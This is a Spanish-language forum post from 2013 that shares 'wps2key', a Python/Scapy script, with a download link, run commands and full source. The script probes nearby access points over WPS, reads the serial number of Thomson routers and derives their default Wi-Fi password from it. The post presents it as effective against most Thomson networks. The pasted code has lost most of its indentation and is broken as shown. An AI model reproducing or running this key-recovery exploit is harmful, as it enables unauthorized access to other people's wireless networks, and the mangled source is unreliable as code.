Arg-Wireless - El Primer Foro de Wireless de Argentina...

Zona Wireless General => Software => Software de Linux => Mensaje publicado por: D3M0N en 28 de Abril de 2013, 03:04:13 PM

Título: wps2key v1.0
Publicado por: D3M0N en 28 de Abril de 2013, 03:04:13 PM
Capt_Noobius desde www.hackforums.net tropezamos con este pequeño script.

Este script obtiene la contraseña inalámbrica por defecto de una red Thomson usando [wiki]WPS[/wiki] y [wiki]SHA1[/wiki]. Es casi instantánea si la red es vulnerable.

NOTA: No todas las Thomson son vulnerable, pero he encontrado este script para ser extremadamente eficaz contra 9 de cada 10 redes de Thomson.

Descarga:
wps2key.py (10 KB)
https://mega.co.nz/#!CYAkjJiZ!DfHkcFJ2h1tZS5G6YOwrkWwN1KVpRaDCChcL20Nt1HY (https://mega.co.nz/#!CYAkjJiZ!DfHkcFJ2h1tZS5G6YOwrkWwN1KVpRaDCChcL20Nt1HY)

Guarde el script como wps2key.py

Luego para ejecutarlo utilizaremos:

chmod +x wps2key.py
./wps2key.py -i mon0


Se puede adicionar -v para modo detallado:

./wps2key.py -i mon0 -v

SOURCE CODE:
#!/usr/bin/env python

from sys import argv, stderr, exit
from getopt import GetoptError, getopt as GetOpt
import hashlib
import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

try:
from scapy.all import *
except Exception, e:
print 'Failed to import scapy:',e
exit(1)

def ascii2hex(char):
        return hex(ord(char))[2:]

def serial2key(serial):
#print 'Key for Serial Number: CP%s' % serial
sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
hash = hashlib.sha1(sn.upper()).hexdigest()
return hash[0:10].upper()


class WPSQuery:
bssid = None
essid = None
pfile = None
rprobe = False
verbose = False
probedNets = {}
WPS_ID = "\x00\x50\xF2\x04"
wps_attributes = {
0x104A : {'name' : 'Version                          ', 'type' : 'hex'},
0x1044 : {'name' : 'WPS State                        ', 'type' : 'hex'},
0x1057 : {'name' : 'AP Setup Locked                  ', 'type' : 'hex'},
0x1041 : {'name' : 'Selected Registrar               ', 'type' : 'hex'},
0x1012 : {'name' : 'Device Password ID               ', 'type' : 'hex'},
0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
0x103B : {'name' : 'Response Type                    ', 'type' : 'hex'},
0x1047 : {'name' : 'UUID-E                           ', 'type' : 'hex'},
0x1021 : {'name' : 'Manufacturer                     ', 'type' : 'str'},
0x1023 : {'name' : 'Model Name                       ', 'type' : 'str'},
0x1024 : {'name' : 'Model Number                     ', 'type' : 'str'},
0x1042 : {'name' : 'Serial Number                    ', 'type' : 'str'},
0x1054 : {'name' : 'Primary Device Type              ', 'type' : 'hex'},
0x1011 : {'name' : 'Device Name                      ', 'type' : 'str'},
0x1008 : {'name' : 'Config Methods                   ', 'type' : 'hex'},
0x103C : {'name' : 'RF Bands                         ', 'type' : 'hex'},
0x1045 : {'name' : 'SSID                             ', 'type' : 'str'},
0x102D : {'name' : 'OS Version                       ', 'type' : 'str'}
}


def __init__(self,iface,pfile):
if iface:
conf.iface = iface
if pfile:
self.pfile = pfile

def run(self):
if self.verbose:
if self.pfile:
stderr.write("Reading packets from %s\n\n" % self.pfile)
else:
stderr.write("Listening on interface %s\n\n" % conf.iface)

try:
sniff(prn=self.pcap,offline=self.pfile)
except Exception, e:
print 'Caught exception while running sniff():',e

#Handles captured packets
def pcap(self,packet):
if packet.haslayer(Dot11Beacon):
self.beaconh(packet)
elif packet.haslayer(Dot11ProbeResp):
self.responseh(packet)

#Beacon packet handler
def beaconh(self,pkt):
elt = None
eltcount = 1
doprobe = False
essid = None
bssid = pkt[Dot11].addr3.upper()

#If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
if self.bssid and self.essid:
self.probereq(self.essid,self.bssid)
return

#If we've already probed it, processing it's beacon frames won't do us any more good
if self.probedNets.has_key(bssid):
return

#Is this the BSSID we're looking for?
if self.bssid and self.bssid != bssid:
return

#Loop through all information elements
while elt != pkt.lastlayer(Dot11Elt):
                elt = pkt.getlayer(Dot11Elt, nb=eltcount)
eltcount += 1

                        #Get the SSID
                        if elt.ID == 0:
                        essid = elt.info
                        #Skip if this is not the SSID we're looking for
                        if self.essid and essid != self.essid:
                        return

#Check for a WPS information element
else:
doprobe = self.iswpselt(elt)
if doprobe:
if self.verbose:
stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
break

#Should we actively probe this AP?
if doprobe == True or self.rprobe == True:
self.probereq(essid,bssid)
return

#Probe response packet handler
def responseh(self,pkt):
wpsdata = []
eltcount = 1
elt = None
bssid = None
essid = None
bssid = pkt[Dot11].addr3.upper()

                #Is this the BSSID we're looking for?
                if self.bssid and self.bssid != bssid:
                        return

                #Loop through all information elements
                while elt != pkt.lastlayer(Dot11Elt):
                        elt = pkt.getlayer(Dot11Elt, nb=eltcount)
eltcount += 1

                        #Get the SSID
                        if elt.ID == 0:
                                essid = elt.info
#Don't probe a network multiple times
if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
return
                                #Skip if this is not the SSID we're looking for
                                if self.essid and essid != self.essid:
                                        return
if self.verbose:
stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
elif self.iswpselt(elt):
wpsdata = self.parsewpselt(elt)

#Display WPS information
if wpsdata:
self.printwpsinfo(wpsdata,bssid,essid)
elif self.verbose:
stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))

#Mark this BSSID as complete
self.probedNets[bssid] = essid

return

#Display collected WPS data
def printwpsinfo(self,wpsdata,bssid,essid):
textlen = 33
filler = ' '
is_valid = 0

if wpsdata:
print ''
print 'BSSID:',bssid
                        print 'ESSID:',essid
                        print '----------------------------------------------------------'

                        for (header,data,datatype) in wpsdata:
if datatype != 'str':
tdata = data
data = '0x'
for i in tdata:
byte = str(hex(ord(i)))[2:]
if len(byte) == 1:
byte = '0' + byte
data += byte
header = header + (filler * (textlen-len(header)))
                                print '%s : %s' % (header,data)
if data == 'THOMSON':
is_valid = 1
elif data == '784n':
is_valid = 0
if header == 'Serial Number                    ':
    header = 'DEFAULT KEY                      '
if is_valid == 1:
data = serial2key(data)
else:
data = 'UNSUPPORTED'

                                print '%s : %s' % (header,data)
                        print ''


#Send a probe request to the specified AP
def probereq(self,essid,bssid):
if not essid or not bssid:
return
if self.probedNets.has_key(bssid):
return
if self.pfile:
return

if self.verbose:
stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))

try:
#Build a probe request packet with a SSID and a WPS information element
                        dst = mac2str(bssid)
                        src = mac2str("ff:ff:ff:ff:ff:ff")
                        packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
                        packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)

#Send it!
send(packet,verbose=0)
self.probedNets[bssid] = None
except Exception, e:
print 'Failure sending probe request to',essid,':',e


#Check if an element is a WPS element
def iswpselt(self,elt):
if elt.ID == 221:
                if elt.info.startswith(self.WPS_ID):
                        return True
return False


#Parse a WPS element
def parsewpselt(self,elt):
data = []
tagname = None
tagdata = None
datatype = None
tag = 0
tlen = 0
i = len(self.WPS_ID)

try:
if self.iswpselt(elt):
while i < elt.len:
#Get tag number and length
tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
i += 2
tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
i += 2

#Get the tag data
tagdata = elt.info[i:i+tlen]
i += tlen

#Lookup the tag name and type
try:
tagname = self.wps_attributes[tag]['name']
datatype = self.wps_attributes[tag]['type']
except Exception, e:
tagname = 'Unknown'
datatype = 'hex'

#Append to array
data.append((tagname,tagdata,datatype))
except Exception,e:
print 'Exception processing WPS element:',e

return data

def about():
print '''
WPScan actively scans access points that support WiFi Protected Setup by sending
802.11 probe requests to them. It then examines the WPS information element in the
resulting 802.11 probe response and displays the information contained in that IE.

This is useful for fingerprinting WPS-capable access points, as many of them will
include their vendor, model number, and firmware versions in the WPS IE of the
probe response.
'''
exit(0)

def usage():
print '''
Usage: %s [OPTIONS]

-i <iface> Specify the interface to listen on
-p <file> Specify pcap file to read from
-b <bssid> Specify a bssid filter
-e <essid> Specify an essid filter
-n Probe all networks
-v Enable verbose mode
-a Show about information
-h Show help
''' % argv[0]
exit(1)


def main():
bssid = None
essid = None
iface = None
pfile = None
probeall = False
verbose = False

try:
opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
except GetoptError, e:
print 'Usage Error:',e
usage()

for opt,optarg in opts:
if opt == '-b':
bssid = optarg.upper()
elif opt == '-e':
essid = optarg
elif opt == '-i':
iface = optarg
elif opt == '-p':
pfile = optarg
elif opt == '-v':
verbose = True
elif opt == '-n':
probeall = True
elif opt == '-a':
about()
else:
usage()


wps = WPSQuery(iface,pfile)
wps.bssid = bssid
wps.essid = essid
wps.rprobe = probeall
wps.verbose = verbose
wps.run()


if __name__ == "__main__":
main()